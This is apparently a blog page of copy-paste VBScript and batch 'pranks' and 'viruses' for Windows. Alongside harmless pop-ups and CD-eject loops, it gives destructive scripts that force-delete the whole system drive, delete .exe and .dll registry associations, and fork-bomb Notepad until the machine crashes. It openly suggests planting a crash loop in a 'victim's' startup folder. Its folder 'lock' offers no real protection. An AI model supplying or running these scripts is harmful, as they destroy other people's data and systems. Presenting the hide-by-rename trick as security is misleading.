Chatting with PC !

Hi friends,

The below code will make your PC chat with you.To do this, just copy the below code and paste it in notepad and save it as anyname.vbs

dim fname
fname=inputbox("Type the text here.","Let's Chat")
fname=inputbox("Type the text here.","Let's Chat")
fname=inputbox("Type the text here.","Let's Chat")
fname=inputbox("Type the text here.","Let's Chat")

Enjoy !

Read More

Don't try it on your computer !

Hi friends,

Here is the code by which your system can get affected.But be careful, after doing this you will need to either end some processes or restart your computer. To do it, just copy the below code and paste it in notepad and save it as anyname.vbs
 

Set wshShell =wscript.CreateObject(”WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys("Your message")

wshshell.sendkeys("Your message")

wshshell.sendkeys("Your message")

loop

Enjoy !

Read More

Startup Virus

Hi Friends,
Just copy this to notepad and save it as anyname.vbs and one new file will be created, by opening that file, it will only crash your computer but u can put it in the startup folder of the victims computer:

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next




Enjoy !

Read More

CD drive eject & load automatically

Hi friends,

Today I will show you a magic that you can see yourself. Just copy the below code,

paste it in notepad and save it as anyname.vbs. After doing so, one new file will

be created and by opening that new file your CD drive will eject and load  

Automatically! It will not stop automatically.

To stop it-

1. Open task manager
2. Go to 'Process' tab
3. End the process of wscript.exe

and the code is-

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Enjoy !

Read More

Lock a folder without software !

1- Make a new folder ( name it as you like )

2- Inside this folder make a ( TXT ) file & copy inside it this (the entire thing) that is written below.




Quote:

Quote: cls

@ECHO OFF

title Folder Private

if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK

if NOT EXIST Private goto MDLOCKER

:CONFIRM

echo Are you sure you want to lock the folder(Y/N)

set/p "cho=>"

if %cho%==Y goto LOCK

if %cho%==y goto LOCK

if %cho%==n goto END

if %cho%==N goto END

echo Invalid choice.

goto CONFIRM

:LOCK

ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

echo Folder locked

goto End

:UNLOCK

echo Enter password to unlock folder

set/p "pass=>"

if NOT %pass%== password here goto FAIL

attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private

echo Folder Unlocked successfully

goto End

:FAIL

echo Invalid password

goto end

:MDLOCKER

md Private

echo Private created successfully

goto End

:End



3- After u copy the Commanding go to line 23 (or try using shortcut- CTRL+F and type password to locate the line) u will find this word : password here (Change it with any password u like.) is :

eg: if NOT %pass%== narnia1234 goto FAIL
//so ur password here becomes narnia1234 .//


4- After that go to "save as" & name this file as "locker.bat "

5- Now back to the folder & u will find a ( LOCKER ) commanding. (locker.exe)

6- Double Click on it & u will find a new folder (Private )

7- Ok ,, Now copy what u want in this "private Folder" & after that come out of the folder, and Double click on locker again. It will open and ask if you want to lock your folder? Y/N ?

8- Type Y. your private folder will dissapear.

9- If you want to UNLOCK your folder ,go to (locker) & type your pass and you will see your private folder.

It not only hides the fodler, but incase, u unhide all files... and try opening it without entering password, it will take u to the control panel...
Also, if u want to store files on your Pen-Drive, u can use this script. No Software Required

Incase u delete your Locker file (just in case), then u can make a new one (but with the same password) and open it from that.

Alternatively, u can keep this locker file somewhere else, and when u want to open ur folder, only then bring it back to that place ..
Email ThisBlogThis!Share to TwitterShare to Facebook

Read More

Simple virus in .bat

use these scripts on your own responsibility..
 
1.This Virus Deletes All The Content Of A Drive…
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code As Anything.bat
2.The Most Simple Virus To Crush The Window

@Echo off
Del C:\ *.* y

Save It As Anything.bat
3.The below Code Will Just Restart Ur PC
@echo off shutdown -r -f -t 00
save as anyname.bat

Enjoy !

Read More

Funny Pranks 2

The CMD Codes- to use, open up notepad and copy and paste the code into the notepad. name the file (anyname).vbs (to make a .vbs file, when u save it or save as, it will ask u for a name and which type u want it, so choose all file then just name it as a .vbs file) then just click on the file u just made

*NOTE* these codes do not stay on forever, they just stay on until the person shuts off the computer. The registry delete is one that PERMANETLY deletes files on the computer that cannot be recovered. this will DESTROY the computer

-The blue screen of Death [this might be dangerous]
*The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install ur windows again

@echo off

 del %systemdrive%\*.* /f /s /q

 shutdown -r -f -t 00

-Stupidity Shutdown
*This pops up a funny message then will shutdown the computer

@echo off

 msg * Fatal system error due to admin stupidity!

 shutdown -c "Error! You are too stupid!" -s -t 10

-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)

@ECHO OFF

 START reg delete HKCR/.exe

 START reg delete HKCR/.dll

 START reg delete HKCR/*

 :MESSAGE

 ECHO Your computer has been fcked.  Have a nice day.

 GOTO MESSAGE

-Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

-Crazy caps lock*This constantly turns caps lock on and off really fast continuously*

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

-Endless Enter*This constantly makes it so the enter button is being pressed continuesly*

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

-Endless Backspace
*This makes it so the backspace key is constantly being pressed*

MsgBox "Let's go back a few steps"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

-Popping CD Drives
*This will make the CD drives constantly pop out*

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 100

loop

Enjoy the post.

Read More

Funny Pranks

Note:-Paste these codes in notepad & while saving type file name as anything.vbs .

Remember .vbs is important.

 LED Disco on Keyboard

This prank will turn your Keyboard LED’s on and off so fast that it seems like you have an DISCO lights on Keyboard

Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys”{CAPSLOCK}”
wshshell.sendkeys”{NUMLOCK}”
wshshell.sendkeys”{SCROLLLOCK}”
loop

Make your computer talk

Just run this Script and it will make your computer say what ever you want, jus edit the text “your message here” to anything you want. May be you would like to make computer welcome you every time you Login by saying Welcome Your_name. So just replace your message and put this script in your startup folder and now every time you login your PC will welcome you by saying ” Welcome Your_Name”

strText = “your message here”
Set objVoice = CreateObject(”SAPI.SpVoice”)
objVoice.Speak strText

Make the computer go “ding” then popup a message

This prank will first produce a ding sound and than popup a message. Make your friend confused by writing some CRAZY text.

Set objVoice = CreateObject(”SAPI.SpVoice”)
Set objFile = CreateObject(”SAPI.SpFileStream.1″)
objFile.Open “c:\Windows\Media\Ding.wav”
objVoice.Speakstream objFile
Wscript.Echo “your message here”

Read More